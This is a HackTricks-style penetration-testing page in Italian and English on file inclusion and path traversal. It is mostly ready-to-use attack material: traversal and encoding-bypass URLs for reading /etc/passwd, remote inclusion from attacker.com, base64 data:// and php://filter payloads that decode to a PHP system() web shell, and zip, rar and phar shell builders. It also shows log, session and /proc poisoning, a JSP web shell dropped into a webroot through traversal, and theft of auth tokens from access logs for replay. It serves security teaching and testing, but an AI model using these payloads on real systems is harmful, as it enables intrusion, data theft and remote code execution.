File Inclusion/Path traversal
Tip
Impara e pratica il hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos github.
File Inclusion
Remote File Inclusion (RFI): Il file viene caricato da un server remoto (Vantaggio: puoi scrivere il codice e il server lo eseguirà). In php questo è disabilitato di default (allow_url_include).
Local File Inclusion (LFI): Il server carica un file locale.
La vulnerabilità si verifica quando l’utente può controllare in qualche modo il file che verrà caricato dal server.
Funzioni PHP vulnerabili: require, require_once, include, include_once
Uno strumento interessante per sfruttare questa vulnerabilità: https://github.com/kurobeats/fimap
Blind - Interesting - LFI2RCE files
wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../../FUZZ
Linux
Mescolando diverse liste LFI di *nix e aggiungendo altri percorsi ho creato questa:
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_linux.txt
Prova anche a cambiare / con \
Prova anche ad aggiungere ../../../../../
Una lista che usa diverse tecniche per trovare il file /etc/password (per verificare se la vulnerabilità esiste) può essere trovata qui
Windows
Merge di diverse wordlists:
Prova anche a cambiare / con \
Prova anche a rimuovere C:/ e aggiungere ../../../../../
Una lista che usa diverse tecniche per trovare il file /boot.ini (per verificare se la vulnerabilità esiste) può essere trovata qui
OS X
Consulta la lista LFI di linux.
Basic LFI and bypasses
Tutti gli esempi sono per Local File Inclusion ma potrebbero essere applicati anche a Remote File Inclusion (page=http://myserver.com/phpshellcode.txt\.
http://example.com/index.php?page=../../../etc/passwd
traversal sequences rimosse non ricorsivamente
http://example.com/index.php?page=....//....//....//etc/passwd
http://example.com/index.php?page=....\/....\/....\/etc/passwd
http://some.domain.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd
Null byte (%00)
Bypass l’aggiunta di caratteri extra alla fine della stringa fornita (bypass di: $_GET[‘param’].“php”)
http://example.com/index.php?page=../../../etc/passwd%00
Questo è risolto a partire da PHP 5.4
Codifica
Puoi usare codifiche non standard come double URL encode (e altre):
http://example.com/index.php?page=..%252f..%252f..%252fetc%252fpasswd
http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00
HTML-to-PDF SVG/IMG path traversal
I moderni motori HTML-to-PDF (es. TCPDF o wrapper come html2pdf) analizzano volentieri HTML, SVG, CSS e URL di font forniti dall’attaccante, ma vengono eseguiti all’interno di reti backend di fiducia con accesso al filesystem. Una volta che puoi iniettare HTML in $pdf->writeHTML()/Html2Pdf::writeHTML(), spesso puoi esfiltrare file locali che l’account del web server può leggere.
- Fingerprint the renderer: ogni PDF generato contiene un campo
Producer(es.TCPDF 6.8.2). Conoscere la build esatta ti indica quali filtri sui percorsi esistono e se la decodifica degli URL avviene prima della validazione. - Inline SVG payloads:
TCPDF::startSVGElementHandler()legge l’attributoxlink:hrefdagli elementi<image>prima di eseguireurldecode(). Includere un SVG malevolo all’interno di un data URI fa sì che molti sanitizer HTML ignorino il payload mentre TCPDF lo elabora comunque:
<img src="data:image/svg+xml;base64,PHN2ZyB2aWV3Qm94PSIwIDAgMCAwIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciPjxpbWFnZSB4bGluazpocmVmPSIuLi8uLi8uLi8uLi8uLi90bXAvdXNlcl9maWxlcy91c2VyXzEvcHJpdmF0ZV9pbWFnZS5wbmciIGhlaWdodD0iMTAwJSIgd2lkdGg9IjEwMCUiLz48L3N2Zz4=" />
TCPDF prepends $_SERVER['DOCUMENT_ROOT'] to paths beginning with / and only later resolves .., so use either leading ../../.. segments or /../../.. to escape the root after the prepend.
- Codifica per bypassare filtri ingenui: Versions ≤6.8.2 only check for the literal substring
../before decoding the URL. Sending..%2f(or..%2F) in the SVG or in a raw<img src>attribute bypasses the check, because the traversal dot-dot-slash sequence is recreated only after TCPDF callsurldecode(). - Doppia codifica per decodifiche a più stadi: If user input is decoded by the web framework and by TCPDF, double-encode the slash (
%252f). One decode turns it into%2f, the second decode in TCPDF turns it into/, yielding/..%252f..→/../../../…without ever showing../to the early filter. - Gestore HTML
<img>:TCPDF::openHTMLTagHandler()contains the same order-of-operations bug, allowing direct HTML payloads such assrc="%2f..%252f..%252ftmp%252fsecret.png"to read any locally reachable bitmap.
Questa tecnica leaks qualsiasi cosa leggibile dal PDF worker (passport scans, API keys rendered as images, etc.). I manutentori lo hanno corretto in 6.9.1 canonicalizzando i percorsi (isRelativePath()), quindi durante i test dare priorità a versioni Producer più vecchie.
Dalla cartella esistente
Forse il back-end sta controllando il percorso della cartella:
http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd
Esplorare le directory del file system su un server
Il file system di un server può essere esplorato ricorsivamente per identificare directory, non solo file, impiegando alcune tecniche. Questo processo comporta la determinazione della profondità della directory e la verifica dell’esistenza di cartelle specifiche. Di seguito un metodo dettagliato per ottenerlo:
- Determinare la profondità della directory: Accertare la profondità della directory corrente recuperando con successo il file
/etc/passwd(applicabile se il server è basato su Linux). Un URL di esempio potrebbe essere strutturato come segue, indicando una profondità di tre:
http://example.com/index.php?page=../../../etc/passwd # depth of 3
- Sondare le cartelle: Aggiungi il nome della cartella sospetta (es.,
private) all’URL, poi torna a/etc/passwd. Il livello di directory aggiuntivo richiede di incrementare la profondità di uno:
http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=4
- Interpretare i risultati: La risposta del server indica se la cartella esiste:
- Errore / Nessun output: La cartella
privateprobabilmente non esiste nella posizione specificata. - Contenuto di
/etc/passwd: La presenza della cartellaprivateè confermata.
- Esplorazione ricorsiva: Le cartelle scoperte possono essere ulteriormente esaminate per sottodirectory o file usando la stessa tecnica o i tradizionali metodi Local File Inclusion (LFI).
Per esplorare directory in posizioni diverse del file system, adatta il payload di conseguenza. Ad esempio, per verificare se /var/www/ contiene una directory private (supponendo che la directory corrente sia a una profondità di 3), usa:
http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd
Path Truncation Technique
Path truncation è un metodo impiegato per manipolare i percorsi dei file nelle applicazioni web. Viene spesso usato per accedere a file riservati aggirando certe misure di sicurezza che aggiungono caratteri alla fine dei percorsi. L’obiettivo è costruire un percorso che, una volta modificato dalla misura di sicurezza, punti ancora al file desiderato.
In PHP, varie rappresentazioni di un percorso possono essere considerate equivalenti a causa della natura del file system. Per esempio:
/etc/passwd,/etc//passwd,/etc/./passwd, and/etc/passwd/sono tutti trattati come lo stesso percorso.- Quando gli ultimi 6 caratteri sono
passwd, aggiungere una/(rendendolopasswd/) non cambia il file mirato. - Allo stesso modo, se
.phpè aggiunto a un percorso (comeshellcode.php), aggiungere un/.alla fine non altera il file a cui si accede.
Gli esempi forniti mostrano come utilizzare path truncation per accedere a /etc/passwd, un obiettivo comune a causa del suo contenuto sensibile (informazioni sugli account utente):
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd......[ADD MORE]....
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././.
http://example.com/index.php?page=a/./.[ADD MORE]/etc/passwd
http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/passwd
In questi scenari, il numero di traversals necessari potrebbe essere circa 2027, ma questo valore può variare in base alla configurazione del server.
- Using Dot Segments and Additional Characters: Sequenze di traversal (
../) combinate con ulteriori dot segments e caratteri possono essere usate per navigare il file system, ignorando di fatto le stringhe aggiunte dal server. - Determining the Required Number of Traversals: Con tentativi ed errori si può trovare il numero preciso di sequenze
../necessario per risalire alla directory radice e poi a/etc/passwd, assicurando che eventuali stringhe aggiunte (come.php) siano neutralizzate ma il percorso desiderato (/etc/passwd) rimanga intatto. - Starting with a Fake Directory: È pratica comune iniziare il percorso con una directory inesistente (come
a/). Questa tecnica viene usata come misura precauzionale o per soddisfare i requisiti della logica di parsing del path del server.
When employing path truncation techniques, è cruciale comprendere il comportamento di parsing dei path del server e la struttura del filesystem. Ogni scenario potrebbe richiedere un approccio diverso, e spesso è necessario testare per trovare il metodo più efficace.
This vulnerability was corrected in PHP 5.3.
Filter bypass tricks
http://example.com/index.php?page=....//....//etc/passwd
http://example.com/index.php?page=..///////..////..//////etc/passwd
http://example.com/index.php?page=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd
Maintain the initial path: http://example.com/index.php?page=/var/www/../../etc/passwd
http://example.com/index.php?page=PhP://filter
Remote File Inclusion
In php questo è disabilitato di default perché allow_url_include è Off. Deve essere On perché funzioni, e in quel caso potresti includere un file PHP dal tuo server e ottenere RCE:
http://example.com/index.php?page=http://atacker.com/mal.php
http://example.com/index.php?page=\\attacker.com\shared\mal.php
Se per qualche motivo allow_url_include è On, ma PHP sta filtrando l’accesso a pagine web esterne, secondo questo post, puoi usare ad esempio il data protocol con base64 per decodificare un codice PHP in b64 e ottenere RCE:
PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt
Repository .git esposto (Divulgazione del codice sorgente)
Se il web server espone /.git/, un attacker può spesso ricostruire l’intero repository (inclusa la cronologia dei commit) e analizzare l’applicazione offline. Questo di solito rivela endpoint nascosti, secrets, query SQL e funzionalità riservate agli admin.
Controlli rapidi:
curl -s -i http://TARGET/.git/HEAD
curl -s -i http://TARGET/.git/config
Esegui il dump del repository con git-dumper:
uv tool install git-dumper
git-dumper http://TARGET/.git/ out/
Quindi recupera l’albero di lavoro:
cd out
git checkout .
Tip
Nel codice precedente, il
+.txtfinale è stato aggiunto perché l’attaccante aveva bisogno di una stringa che terminasse in.txt, quindi la stringa termina con quello e, dopo la decodifica b64, quella parte restituirà solo junk e il vero codice PHP verrà incluso (e quindi eseguito).
Un altro esempio che non usa il protocollo php:// sarebbe:
data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+txt
Python Elemento radice
In Python, in un codice come questo:
# file_name is controlled by a user
os.path.join(os.getcwd(), "public", file_name)
Se l’utente passa un absolute path a file_name, il percorso precedente viene semplicemente rimosso:
os.path.join(os.getcwd(), "public", "/etc/passwd")
'/etc/passwd'
Questo è il comportamento previsto secondo the docs:
Se un componente è un percorso assoluto, tutti i componenti precedenti vengono scartati e la concatenazione continua a partire dal componente di percorso assoluto.
Elenco directory in Java
Sembra che se hai una Path Traversal in Java e richiedi una directory invece di un file, viene restituito l’elenco della directory. Questo non accade in altri linguaggi (afaik).
Top 25 parametri
Ecco la lista dei top 25 parametri che potrebbero essere vulnerabili a local file inclusion (LFI) (da link):
?cat={payload}
?dir={payload}
?action={payload}
?board={payload}
?date={payload}
?detail={payload}
?file={payload}
?download={payload}
?path={payload}
?folder={payload}
?prefix={payload}
?include={payload}
?page={payload}
?inc={payload}
?locate={payload}
?show={payload}
?doc={payload}
?site={payload}
?type={payload}
?view={payload}
?content={payload}
?document={payload}
?layout={payload}
?mod={payload}
?conf={payload}
LFI / RFI using PHP wrappers & protocols
php://filter
I filtri PHP permettono di eseguire operazioni di modifica sui dati prima che vengano letti o scritti. Ci sono 5 categorie di filtri:
- String Filters:
string.rot13string.toupperstring.tolowerstring.strip_tags: Rimuove i tag dai dati (tutto ciò che è tra i caratteri “<” e “>”)- Nota che questo filtro è scomparso nelle versioni moderne di PHP
- Conversion Filters
convert.base64-encodeconvert.base64-decodeconvert.quoted-printable-encodeconvert.quoted-printable-decodeconvert.iconv.*: Trasforma in una codifica diversa (convert.iconv.<input_enc>.<output_enc>). Per ottenere la lista di tutte le codifiche supportate esegui in console:iconv -l
Warning
Abusando del filtro di conversione
convert.iconv.*puoi generare testo arbitrario, il che può essere utile per scrivere testo arbitrario o fare in modo che una funzione come include processi testo arbitrario. Per maggiori informazioni controlla LFI2RCE via php filters.
- Compression Filters
zlib.deflate: Comprime il contenuto (utile se esfiltrando molte informazioni)zlib.inflate: Decomprime i dati- Encryption Filters
mcrypt.*: Deprecatedmdecrypt.*: Deprecated- Other Filters
- Eseguendo in php
var_dump(stream_get_filters());puoi trovare un paio di filtri inaspettati: consumeddechunk: inverte l’encoding HTTP chunkedconvert.*
# String Filters
## Chain string.toupper, string.rot13 and string.tolower reading /etc/passwd
echo file_get_contents("php://filter/read=string.toupper|string.rot13|string.tolower/resource=file:///etc/passwd");
## Same chain without the "|" char
echo file_get_contents("php://filter/string.toupper/string.rot13/string.tolower/resource=file:///etc/passwd");
## string.string_tags example
echo file_get_contents("php://filter/string.strip_tags/resource=data://text/plain,<b>Bold</b><?php php code; ?>lalalala");
# Conversion filter
## B64 decode
echo file_get_contents("php://filter/convert.base64-decode/resource=data://plain/text,aGVsbG8=");
## Chain B64 encode and decode
echo file_get_contents("php://filter/convert.base64-encode|convert.base64-decode/resource=file:///etc/passwd");
## convert.quoted-printable-encode example
echo file_get_contents("php://filter/convert.quoted-printable-encode/resource=data://plain/text,£hellooo=");
=C2=A3hellooo=3D
## convert.iconv.utf-8.utf-16le
echo file_get_contents("php://filter/convert.iconv.utf-8.utf-16le/resource=data://plain/text,trololohellooo=");
# Compresion Filter
## Compress + B64
echo file_get_contents("php://filter/zlib.deflate/convert.base64-encode/resource=file:///etc/passwd");
readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the data locally
# note that PHP protocol is case-inselective (that's mean you can use "PhP://" and any other varient)
Warning
La parte “php://filter” non è sensibile al maiuscolo/minuscolo
Usare php filters come oracle per leggere file arbitrari
In questo post viene proposta una tecnica per leggere un file locale senza che l’output venga restituito dal server. Questa tecnica si basa su una esfiltrazione booleana del file (char by char) usando php filters come oracle. Questo perché php filters possono essere usati per rendere un testo abbastanza grande da far php lanciare un’eccezione.
Nel post originale trovi una spiegazione dettagliata della tecnica, qui un breve riassunto:
- Usare il codec
UCS-4LEper lasciare il carattere iniziale del testo all’inizio e far aumentare esponenzialmente la dimensione della stringa. - Questo viene usato per generare un testo così grande quando la lettera iniziale è indovinata correttamente che php attiverà un errore
- Il filtro dechunk rimuove tutto se il primo char non è hex, quindi possiamo sapere se il primo char è hex.
- Questo, combinato con il precedente (e altri filters a seconda della lettera indovinata), ci permetterà di indovinare una lettera all’inizio del testo osservando quando applichiamo sufficienti trasformazioni affinché non sia più un carattere esadecimale. Perché se è hex, dechunk non la cancellerà e la bomba iniziale farà scattare un errore in php.
- Il codec convert.iconv.UNICODE.CP930 trasforma ogni lettera nella successiva (quindi dopo questo codec: a -> b). Questo ci permette di scoprire se la prima lettera è una
a, perché se applichiamo 6 volte questo codec a->b->c->d->e->f->g la lettera non è più un carattere hex; di conseguenza dechunk non la elimina e l’errore php viene attivato perché si moltiplica con la bomba iniziale. - Usando altre trasformazioni come rot13 all’inizio è possibile leakare altri chars come n, o, p, q, r (e altri codecs possono essere usati per spostare altre lettere nel range hex).
- Quando il primo char è un numero è necessario codificarlo in base64 e leakare le prime 2 lettere per leakare il numero.
- Il problema finale è capire come leakare più della lettera iniziale. Usando filtri di riordino in memoria come convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE è possibile cambiare l’ordine dei chars e portare in prima posizione altre lettere del testo.
- E per poter ottenere ulteriori dati l’idea è di generare 2 byte di junk data all’inizio con convert.iconv.UTF16.UTF16, applicare UCS-4LE per farli pivotare con i successivi 2 byte, e cancellare i dati fino ai junk data (questo rimuoverà i primi 2 byte del testo iniziale). Continuare così fino a raggiungere il bit desiderato da leakare.
Nel post è stato anche rilasciato uno strumento per eseguire automaticamente questo: php_filters_chain_oracle_exploit.
php://fd
Questo wrapper permette di accedere ai file descriptor che il processo ha aperti. Potenzialmente utile per exfiltrare il contenuto di file aperti:
echo file_get_contents("php://fd/3");
$myfile = fopen("/etc/passwd", "r");
Puoi anche usare php://stdin, php://stdout and php://stderr per accedere ai file descriptors 0, 1 and 2 rispettivamente (non sono sicuro di come questo possa essere utile in un attacco)
zip:// and rar://
Carica un file Zip o Rar con una PHPShell all’interno e accedilo.
Per poter abusare del protocollo rar è necessario che sia attivato specificamente.
echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;
zip payload.zip payload.php;
mv payload.zip shell.jpg;
rm payload.php
http://example.com/index.php?page=zip://shell.jpg%23payload.php
# To compress with rar
rar a payload.rar payload.php;
mv payload.rar shell.jpg;
rm payload.php
http://example.com/index.php?page=rar://shell.jpg%23payload.php
data://
http://example.net/?page=data://text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data://text/plain,<?php phpinfo(); ?>
http://example.net/?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
http://example.net/?page=data:text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data:text/plain,<?php phpinfo(); ?>
http://example.net/?page=data:text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
Nota che questo protocollo è limitato dalle configurazioni di php allow_url_open e allow_url_include
expect://
Expect deve essere attivato. Puoi eseguire codice usando questo:
http://example.com/index.php?page=expect://id
http://example.com/index.php?page=expect://ls
input://
Specifica il payload nei parametri POST:
curl -XPOST "http://example.com/index.php?page=php://input" --data "<?php system('id'); ?>"
phar://
Un file .phar può essere utilizzato per eseguire codice PHP quando un’applicazione web sfrutta funzioni come include per il caricamento di file. Lo snippet di codice PHP mostrato di seguito dimostra la creazione di un file .phar:
<?php
$phar = new Phar('test.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub('<?php __HALT_COMPILER(); system("ls"); ?>');
$phar->stopBuffering();
Per compilare il file .phar, va eseguito il seguente comando:
php --define phar.readonly=0 create_path.php
Upon execution, a file named test.phar will be created, which could potentially be leveraged to exploit Local File Inclusion (LFI) vulnerabilities.
In cases where the LFI only performs file reading without executing the PHP code within, through functions such as file_get_contents(), fopen(), file(), file_exists(), md5_file(), filemtime(), or filesize(), exploitation of a deserialization vulnerability could be attempted. This vulnerability is associated with the reading of files using the phar protocol.
For a detailed understanding of exploiting deserialization vulnerabilities in the context of .phar files, refer to the document linked below:
Phar Deserialization Exploitation Guide
CVE-2024-2961
It was possible to abuse any arbitrary file read from PHP that supports php filters to get a RCE. The detailed description can be found in this post.
Very quick summary: a 3 byte overflow in the PHP heap was abused to alter the chain of free chunks of anspecific size in order to be able to write anything in any address, so a hook was added to call system.
It was possible to alloc chunks of specific sizes abusing more php filters.
More protocols
Controlla altri possibili protocols to include here:
- php://memory and php://temp — Scrive in memoria o in un file temporaneo (non sono sicuro di quanto questo possa essere utile in un attacco di file inclusion)
- file:// — Accesso al filesystem locale
- http:// — Accesso a URL HTTP(s)
- ftp:// — Accesso a URL FTP(s)
- zlib:// — Compression Streams
- glob:// — Trova pathname che corrispondono al pattern (Non restituisce nulla di stampabile, quindi non è molto utile qui)
- ssh2:// — Secure Shell 2
- ogg:// — Audio streams (Non utile per leggere file arbitrari)
LFI via PHP’s ‘assert’
I rischi di Local File Inclusion (LFI) in PHP sono particolarmente elevati quando si utilizza la funzione ‘assert’, che può eseguire codice contenuto in stringhe. Questo è particolarmente problematico se un input contenente caratteri di directory traversal come “..” viene controllato ma non correttamente sanitizzato.
Ad esempio, il codice PHP potrebbe essere progettato per prevenire directory traversal come segue:
assert("strpos('$file', '..') === false") or die("");
Sebbene questo miri a fermare traversal, crea involontariamente un vettore per code injection. Per sfruttare questo per leggere il contenuto di un file, un attacker potrebbe usare:
' and die(highlight_file('/etc/passwd')) or '
Allo stesso modo, per eseguire comandi di sistema arbitrari, si potrebbe usare:
' and die(system("id")) or '
È importante URL-encode questi payload.
PHP Blind Path Traversal
Warning
Questa tecnica è rilevante nei casi in cui tu controlli il percorso del file di una funzione PHP che accéderà a un file ma non vedrai il contenuto del file (come una semplice chiamata a
file()), perché il contenuto non viene mostrato.
Nel questo incredibile post è spiegato come un blind path traversal possa essere abusato tramite PHP filter per esfiltrare il contenuto di un file via un error oracle.
In sintesi, la tecnica utilizza la codifica “UCS-4LE” per rendere il contenuto di un file così grande che la funzione PHP che apre il file genererà un errore.
Poi, per ottenere il primo carattere viene usato il filter dechunk insieme ad altri come base64 o rot13, e infine i filter convert.iconv.UCS-4.UCS-4LE e convert.iconv.UTF16.UTF-16BE vengono usati per posizionare altri caratteri all’inizio e leak them.
Funzioni che potrebbero essere vulnerabili: file_get_contents, readfile, finfo->file, getimagesize, md5_file, sha1_file, hash_file, file, parse_ini_file, copy, file_put_contents (only target read only with this), stream_get_contents, fgets, fread, fgetc, fgetcsv, fpassthru, fputs
Per i dettagli tecnici controlla il post menzionato!
LFI2RCE
Arbitrary File Write via Path Traversal (Webshell RCE)
Quando il codice server-side che elabora/carica file costruisce il destination path usando dati controllati dall’utente (es., un filename o URL) senza canonicalizzare e validare, i segmenti .. e i path assoluti possono uscire dalla directory prevista e causare una scrittura arbitraria di file. Se puoi posizionare il payload sotto una directory esposta al web, di solito ottieni RCE non autenticata piazzando una webshell.
Typical exploitation workflow:
- Individua una primitiva di scrittura in un endpoint o in un background worker che accetta un path/filename e scrive contenuto su disco (es., message-driven ingestion, gestori di comandi XML/JSON, ZIP extractors, ecc.).
- Determina le directory esposte al web. Esempi comuni:
- Apache/PHP:
/var/www/html/ - Tomcat/Jetty:
<tomcat>/webapps/ROOT/→ dropshell.jsp - IIS:
C:\inetpub\wwwroot\→ dropshell.aspx
- Apache/PHP:
- Crea un traversal path che esca dalla directory di storage prevista verso il webroot e includi il contenuto della tua webshell.
- Visita il payload caricato e esegui comandi.
Note:
- Il servizio vulnerabile che esegue la scrittura può ascoltare su una porta non-HTTP (es., un listener JMF XML su TCP 4004). Il portale web principale (porta diversa) servirà poi il tuo payload.
- Su stack Java, queste scritture su file sono spesso implementate con semplici concatenazioni
File/Paths. La mancanza di canonicalizzazione/allow-listing è il difetto principale.
Generic XML/JMF-style example (product schemas vary – the DOCTYPE/body wrapper is irrelevant for the traversal):
<?xml version="1.0" encoding="UTF-8"?>
<JMF SenderID="hacktricks" Version="1.3">
<Command Type="SubmitQueueEntry">
<!-- Write outside the intake folder into the webroot via traversal -->
<Resource Name="FileName">../../../webapps/ROOT/shell.jsp</Resource>
<Data>
<![CDATA[
<%@ page import="java.io.*" %>
<%
String c = request.getParameter("cmd");
if (c != null) {
Process p = Runtime.getRuntime().exec(c);
try (var in = p.getInputStream(); var out = response.getOutputStream()) {
in.transferTo(out);
}
}
%>
]]>
</Data>
</Command>
</JMF>
Hardening che neutralizza questa classe di bug:
- Risolvere a un percorso canonico e assicurarsi che sia un discendente di una directory base allow-listed.
- Rifiutare qualsiasi percorso contenente
.., absolute roots, o drive letters; preferire generated filenames. - Eseguire il writer come un account a basso privilegio e segregare le directory di scrittura dalle served roots.
Remote File Inclusion
Spiegato in precedenza, follow this link.
Tramite Apache/Nginx log file
Se il server Apache o Nginx è vulnerable to LFI dentro la funzione include puoi provare ad accedere a /var/log/apache2/access.log or /var/log/nginx/access.log, inserire nell’user agent o in un GET parameter una php shell come <?php system($_GET['c']); ?> e includere quel file
Warning
Nota che se usi double quotes per la shell invece di simple quotes, le double quotes saranno modificate per la stringa “quote;”, PHP genererà un errore lì e niente altro verrà eseguito.
Inoltre, assicurati di scrivere correttamente il payload o PHP andrà in errore ogni volta che tenta di caricare il file di log e non avrai una seconda opportunità.
This could also be done in other logs but be careful, the code inside the logs could be URL encoded and this could destroy the Shell. The header authorisation “basic” contains “user:password” in Base64 and it is decoded inside the logs. The PHPShell could be inserted inside this header.
Altri possibili percorsi di log:
/var/log/apache2/access.log
/var/log/apache/access.log
/var/log/apache2/error.log
/var/log/apache/error.log
/usr/local/apache/log/error_log
/usr/local/apache2/log/error_log
/var/log/nginx/access.log
/var/log/nginx/error.log
/var/log/httpd/error_log
Fuzzing wordlist: https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI
Leggere i log di accesso per raccogliere GET-based auth tokens (token replay)
Molte app accettano erroneamente session/auth tokens tramite GET (es. AuthenticationToken, token, sid). Se hai una primitive di path traversal/LFI per leggere i web server logs, puoi rubare quei token dagli access logs e replayarli per bypassare completamente l’autenticazione.
Come fare:
- Usa il traversal/LFI per leggere il web server access log. Posizioni comuni:
- /var/log/apache2/access.log, /var/log/httpd/access_log
- /var/log/nginx/access.log
- Alcuni endpoint restituiscono file letti codificati in Base64. In tal caso, decodifica localmente e ispeziona le righe del log.
- Usa grep per trovare richieste GET che includono un parametro token e cattura il suo valore, quindi replayalo contro il punto di ingresso dell’applicazione.
Esempio di flusso (generico):
GET /vuln/asset?name=..%2f..%2f..%2f..%2fvar%2flog%2fapache2%2faccess.log HTTP/1.1
Host: target
Decodifica il body se è Base64, poi esegui un replay di un token catturato:
GET /portalhome/?AuthenticationToken=<stolen_token> HTTP/1.1
Host: target
Note:
- Tokens in URLs are logged by default; never accept bearer tokens via GET in production systems.
- Se l’app supporta più nomi di token, cerca chiavi comuni come AuthenticationToken, token, sid, access_token.
- Rigenera qualsiasi token che possa essere leaked nei log.
Via Email
Invia una mail a un account interno (user@localhost) contenente il tuo PHP payload come <?php echo system($_REQUEST["cmd"]); ?> e prova a includerla nella mail dell’utente con un percorso tipo /var/mail/<USERNAME> o /var/spool/mail/<USERNAME>
Via /proc//fd/
- Carica molte shells (per esempio: 100)
- Include http://example.com/index.php?page=/proc/$PID/fd/$FD, con $PID = PID del processo (può essere brute forced) e $FD il file descriptor (anche questo può essere brute forced)
Via /proc/self/environ
Come un file di log, invia il payload nel User-Agent; verrà riflesso dentro il file /proc/self/environ
GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
User-Agent: <?=phpinfo(); ?>
Via upload
Se puoi fare upload di un file, inserisci semplicemente la shell payload al suo interno (es. : <?php system($_GET['c']); ?> ).
http://example.com/index.php?page=path/to/uploaded/file.png
Per mantenere il file leggibile, è meglio inserire nei metadati delle immagini/doc/pdf
Via Zip file upload
Carica un file ZIP contenente una PHP shell compressa e accedi:
example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php
Tramite PHP sessions
Controlla se il sito web utilizza PHP Session (PHPSESSID)
Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/
Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly
In PHP queste sessioni sono memorizzate in /var/lib/php5/sess\[PHPSESSID]_ file
/var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27.
user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin";
Imposta il cookie su <?php system('cat /etc/passwd');?>
login=1&user=<?php system("cat /etc/passwd");?>&pass=password&lang=en_us.php
Usa LFI per includere il file di sessione PHP
login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm2
Via ssh
Se ssh è attivo, verifica quale utente viene utilizzato (/proc/self/status & /etc/passwd) e prova ad accedere a <HOME>/.ssh/id_rsa
Via vsftpd registri
I log del server FTP vsftpd si trovano in /var/log/vsftpd.log. Nello scenario in cui esista una Local File Inclusion (LFI) e sia possibile accedere a un server vsftpd esposto, si possono considerare i seguenti passaggi:
- Inject a PHP payload nel campo username durante il processo di login.
- Dopo l’iniezione, utilizza la LFI per recuperare i log del server da /var/log/vsftpd.log.
Via php base64 filter (using base64)
As shown in this article, PHP base64 filter just ignore Non-base64. Puoi usare questo per bypassare il controllo dell’estensione del file: se fornisci base64 che termina con “.php”, ignorerà il “.” e aggiungerà “php” al base64. Ecco un esempio di payload:
http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
Via php filters (non è necessario un file)
This writeup spiega che puoi usare php filters to generate arbitrary content come output. Il che fondamentalmente significa che puoi generate arbitrary php code per l’include without needing to write in un file.
Via segmentation fault
Upload un file che sarà memorizzato come temporary in /tmp, poi nella same request, provoca un segmentation fault, e allora il temporary file won’t be deleted e puoi cercarlo.
LFI2RCE via Segmentation Fault
Via Nginx temp file storage
Se trovi una Local File Inclusion e Nginx è in esecuzione davanti a PHP potresti riuscire a ottenere RCE con la seguente tecnica:
Via PHP_SESSION_UPLOAD_PROGRESS
Se trovi una Local File Inclusion anche se don’t have a session e session.auto_start è Off. Se fornisci il PHP_SESSION_UPLOAD_PROGRESS in multipart POST data, PHP enable the session for you. Potresti abusarne per ottenere RCE:
LFI2RCE via PHP_SESSION_UPLOAD_PROGRESS
Via temp file uploads in Windows
Se trovi una Local File Inclusion e il server è in esecuzione su Windows potresti ottenere RCE:
Via pearcmd.php + URL args
As explained in this post, the script /usr/local/lib/phppearcmd.php exists by default in php docker images. Inoltre, è possibile passare argomenti allo script tramite l’URL perché è indicato che se un parametro URL non ha un =, dovrebbe essere usato come argomento. See also watchTowr’s write-up and Orange Tsai’s “Confusion Attacks”.
